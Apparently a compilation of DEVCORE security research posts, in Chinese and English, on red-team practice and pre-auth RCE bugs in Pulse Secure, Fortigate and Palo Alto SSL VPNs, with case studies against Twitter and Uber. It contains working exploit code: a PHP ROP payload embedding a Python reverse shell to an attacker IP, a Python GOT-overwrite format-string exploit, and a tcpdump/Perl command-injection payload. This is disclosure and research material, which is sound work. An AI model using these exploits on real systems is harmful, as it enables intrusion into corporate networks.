相較於以往對家用數據機的攻擊,這次的影響是更嚴重的! 以往就算漏洞再嚴重,只要家用數據機對外不開放任何連接埠,攻擊者也無法利用,但這次的漏洞包含中華電信的配置失誤,導致你家的數據機在網路上裸奔,攻擊者僅僅 「只要知道你的 IP 便可不需任何條件,直接進入你家內網」,而且,由於沒有數據機的控制權,所以這個攻擊一般用戶是無法防禦及修補的!
紅隊演練目標通常是一個情境,例如:駭客有沒有辦法取得民眾個資甚至是信用卡卡號?在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說,我們會想辦法找到一條路徑取得存放這些訊息的資料庫,去驗證有沒有辦法取得個資及卡號。一般來說,卡號部分都會經過加密,因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法,我們甚至會在過程中發現其他路徑可取得卡號,可能是工程師的 debug 資訊會記錄卡號,或是備份檔在 NAS 裡面有完整卡號,這些可能是連資安負責人都不知道的資訊,也是企業評估風險的盲點。
解決了突破點和多人合作的問題,接下來我們面臨到第三個問題,企業有防護措施!在研討會中我舉了幾個較客製的真實防禦案例,說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用,甚至會寫工具去躲避偵測,最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell,它可以做到 WAF 抓不到,防毒軟體抓不到,也不會有 eventlog 記錄,利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然,我們不是無敵的,一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則:在面對伺服器防禦機制,我們能隱匿的,一定做到絕對的隱匿,無法躲的,就把流程最佳化,縮短做事情的時間,例如控制在五分鐘內提權拿到關鍵資料,就算被別人抓到也沒關係,因為該拿的資料也拿到了。
最後一點,我想分享的是:在研究或者測試的過程當中,有時候會花費很多時間卻沒有成果,但是如果你評估是有機會,那就相信自己,花時間做下去吧!
我們有一個花費一個月的例子,是之前破解 IDA Pro 偽隨機數的研究,這個事件意外在 binary 圈很有名,甚至還有人寫成事件懶人包。這個研究是在探討如果我們沒有安裝密碼,有機會安裝 IDA PRO 嗎?結果最後我們想辦法逆推出了 IDA 密碼產生器的算法,知道偽隨機數使用了哪些字元,和它的正確排序。這件事情的難度已經不只在技術上,而在於要猜出偽隨機數使用的字元集順序,還要同時猜出對方使用的演算法(至少有88種)。而且我們每驗證一種排列組合,就會花半天時間和 100GB 的空間,累積成本滿高的。但我們根據經驗相信這是有機會成功的,並且投注資源堅持下去,最後有了很不錯的成果。
做為紅隊演練的領導廠商,從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限,這還不含那些不是用 AD 來管理的企業。我們發現進入內網後,通常不會有什麼阻礙,就好像變成內部員工,打了聲招呼就可以進機房。想要提醒大家的是:對頂尖攻擊團隊而言,進入企業內網的難度並不高。如果碰上頂尖的駭客,或是一個 0day,企業準備好了嗎?這就是現階段我們所發現的問題!
研討會內容到這邊就結束了。寫在最後的最後,是充滿著感謝。其實無論滲透測試還是紅隊演練,在一開始都不是人人可以接受的,而測試的價值也不是我們說了算。一路走來,漸漸漸漸感受到開始有人相信我們,從早期比較多測試時與工程師和網管人員的對立,到近期越來越多 open mind、就是想找出問題的客戶,是滿大的對比。非常感謝他們的信任,也因為這樣的互信,我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題,漏洞存在就是存在,不會因為視而不見而真的不見,意識到有問題解決了就好。所以我在演講最後留下這樣一句:『紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下』,希望越來越多人能正面對待問題,同時也傳遞我們想要做到的價值。
Risk Assessment – the process of identifying, analyzing and evaluating risk – is the only way to ensure that the cyber security controls you choose are appropriate to the risks your organization faces.
Remember any ATT&CK-mapped data has biases:You’re prioritizing known adversary behavior over the unknown.
- Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation
After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.
We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!
Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1][2][3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?
We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.
On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!
About Pulse Secure
Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.
We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…
Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.
We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!
It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!
Vulnerabilities
We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.
The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!
Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!
CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS
The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.
If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!
CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS
This one is a little bit similar to the previous one, but with a different attack vector!
When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!
There is a stack-based buffer overflow in the following Perl module implementations:
DSHC::ConsiderForReporting
DSHC::isSendReasonStringEnabled
DSHC::getRemedCustomInstructions
These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.
cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]
CVE-2019-11510: Pre-auth Arbitrary File Reading
Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.
In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!
And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.
Due to the exploit is in the wild, there is no longer any concern to show the payload:
The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.
However, we did it, and we exploit it in a very smart way :)
The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:
It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!
In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick…
This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.
From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:
[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]
The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(
While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.
As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.
We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:
tcpdump: [filename]: No such file or directory
It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!
$ tcpdump -d-r'print 123#'
tcpdump: print 123#: No such file or directory
$ tcpdump -d-r'print 123#' 2>&1 | perl –
123
The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!
As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!
Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:
tcpdump:$x="ls /",system$x#: No such file or directory
Once we have done this, we can just fetch the corresponding page to execute our command:
$ curl https://sslvpn/dana-na/auth/setcookie.cgi
boot bin home lib64 mnt opt proc sys usr var
data etc lib lost+found modules pkg sbin tmp
...
So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!
The Case Study
After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.
We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P
We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:
The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!
So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.
Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!
Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!
As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.
Yes, it’s SSRF!
Here we use a small trick to bypass the SSRF protections.
Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…
If you are experienced in cracking hashes, you will know how hard it is. So…
We launched a 72 core AWS to crack that.
We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.
We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.
Recommendations
How to mitigate such attacks? Here we give several recommendations.
The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.
Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!
Bonus: Take over all the VPN clients
Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!
We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.
During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.
Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:
Epilogue
OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!
Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)
Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!
The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!
However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.
At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:
It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!
Fortigate SSL VPN
Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:
All-in-one binary
We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:
Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!
Web daemon
There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.
Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.
In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!
WebVPN
WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.
While fetching corresponding language file, it builds the json file path with the parameter lang:
snprintf(s,0x40,"/migadmin/lang/%s.json",lang);
There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.
While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is < and this should occupies 5 bytes. If it encounter anything starts with &#, such as <, it consider there is a token already encoded, and count its length directly. Like this:
If we input a malicious string like &#<<<;, the < is still encoded into <, so the result should be &#<<<;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.
In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.
According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!
This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:
memcpy(buffer,js_buf,js_buf_len);
The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation.
To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.
Exploitation
The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.
CVE-2018-13381
Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.
Single thread, single process, single allocator
The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
Operations regularly triggered
This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
Apache additional memory management.
The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
JeMalloc
JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.
We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!
CVE-2018-13379 + CVE-2018-13383
This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.
Gain authentication
We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.
Get the shell
After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.
Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.
We got an interesting crash. To our great surprise, we almost control the program counter!
Here is the crash, and that’s why we love fuzzing! ;)
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)
We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.
This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.
We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.
Here we put our php PoC on an HTTP server:
<?phpfunctionp64($address){$low=$address&0xffffffff;$high=$address>>32&0xffffffff;returnpack("II",$low,$high);}$junk=0x4141414141414141;$nop_func=0x32FC078;$gadget=p64($junk);$gadget.=p64($nop_func-0x60);$gadget.=p64($junk);$gadget.=p64(0x110FA1A);// # start here # pop r13 ; pop r14 ; pop rbp ; ret ;$gadget.=p64($junk);$gadget.=p64($junk);$gadget.=p64(0x110fa15);// push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;$gadget.=p64(0x1bed1f6);// pop rax ; ret ;$gadget.=p64(0x58);$gadget.=p64(0x04410f6);// add rdi, rax ; mov eax, dword [rdi] ; ret ;$gadget.=p64(0x1366639);// call system ;$gadget.="python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";$p=str_repeat('AAAAAAAA',1024+512-4);// offset$p.=$gadget;$p.=str_repeat('A',0x1000-strlen($gadget));$p.=$gadget;?><ahref="javascript:void(0);<?=$p;?>">xxx</a>
The PoC can be divided into three parts.
Fake SSL structure
The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.
ROP chain
The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
Overflow string
Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.
Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.
Demo
Timeline
11 December, 2018 Reported to Fortinet
19 March, 2019 All fix scheduled
24 May, 2019 All advisory released
Fix
Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.
這將會是我們 SSL VPN 研究的系列文,預計會有三篇。這也是我們研究團隊今年在 Black Hat USA 和 DEFCON 的演講『 Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs 』中的一小部分,敬請期待!
SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products.
We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our Black Hat USA and DEFCON talk:
Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!
Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks.
In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly weaponizing the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;)
The story
In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to /global-protect/login.esp on web root!
About the vulnerability, we accidentally discovered it during our Red Team assessment services. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability.
We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advisory contains anything similar and no CVE. So we believe this must be a silent-fix 1-day!
[1] There are some exploit about the Pan-OS management interface before such as the CVE-2017-15944 and the excellent Troppers16 paper by @_fel1x, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port
The bug
The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The sslmgr is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path /sslmgr.
During the parameter extraction, the daemon searches the string scep-profile-name and pass its value as the snprintf format to fill in the buffer. That leads to the format string attack. You can just crash the service with %n!
According to our survey, all the GlobalProtect before July 2018 are vulnerable! Here is the affect version list:
Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3
The series 9.x and 7.0.x are not affected by this vulnerability.
How to verify the bug
Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability elegantly!
By reading the snprintf manual, we choose the %c as our gadget! When there is a number before the format, such as %9999999c, the snprintf repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability!
$ time curl -s-d'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real 0m1.721s
user 0m0.037s
sys 0m0.005s
$ time curl -s-d'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real 0m2.051s
user 0m0.035s
sys 0m0.012s
$ time curl -s-d'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real 0m5.324s
user 0m0.021s
sys 0m0.018s
As you can see, the response time increases along with the number of %c. So, from the time difference, we can identify the vulnerable SSL VPN elegantly!
[1] Although there is a watchdog monitoring the sslmgr daemon, it’s still improper to crash a service!
The exploitation
Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the /global-protect/portal/css/login.css from 8.x version and the /images/logo_pan_158.gif from 7.x version!
With a specified version, we can write our own exploit now. We simply modified the pointer of strlen on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of system. Here is the PoC:
#!/usr/bin/python
importrequestsfrompwnimport*url="https://sslvpn/sslmgr"cmd="echo pwned > /var/appweb/sslvpndocs/hacked.txt"strlen_GOT=0x667788# change me
system_plt=0x445566# change me
fmt='%70$n'fmt+='%'+str((system_plt>>16)&0xff)+'c'fmt+='%32$hn'fmt+='%'+str((system_plt&0xffff)-((system_plt>>16)&0xff))+'c'fmt+='%24$hn'foriinrange(40,60):fmt+='%'+str(i)+'$p'data="scep-profile-name="data+=p32(strlen_GOT)[:-1]data+="&appauthcookie="data+=p32(strlen_GOT+2)[:-1]data+="&host-id="data+=p32(strlen_GOT+4)[:-1]data+="&user-email="data+=fmtdata+="&appauthcookie="data+=cmdr=requests.post(url,data=data)
Once the modification is done, the sslmgr becomes our webshell and we can execute commands via:
We have reported this bug to Palo Alto via the report form. However, we got the following reply:
Hello Orange,
Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.
Kind regards
Hmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world!
The case study
After we awared this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take vpn.awscorp.uberinternal.com as an example!
From the domain name, we guess Uber uses the BYOL from AWS Marketplace. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page:
8.0.3
8.0.6
8.0.8
8.0.9
8.1.0
Finally, we figured out the version, it’s 8.0.6 and we got the shell back!
Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detail explanation to the bounty decision:
Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.
Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!
It’s a fair decision. It’s always a great time communicating with Uber and report to their bug bounty program. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!
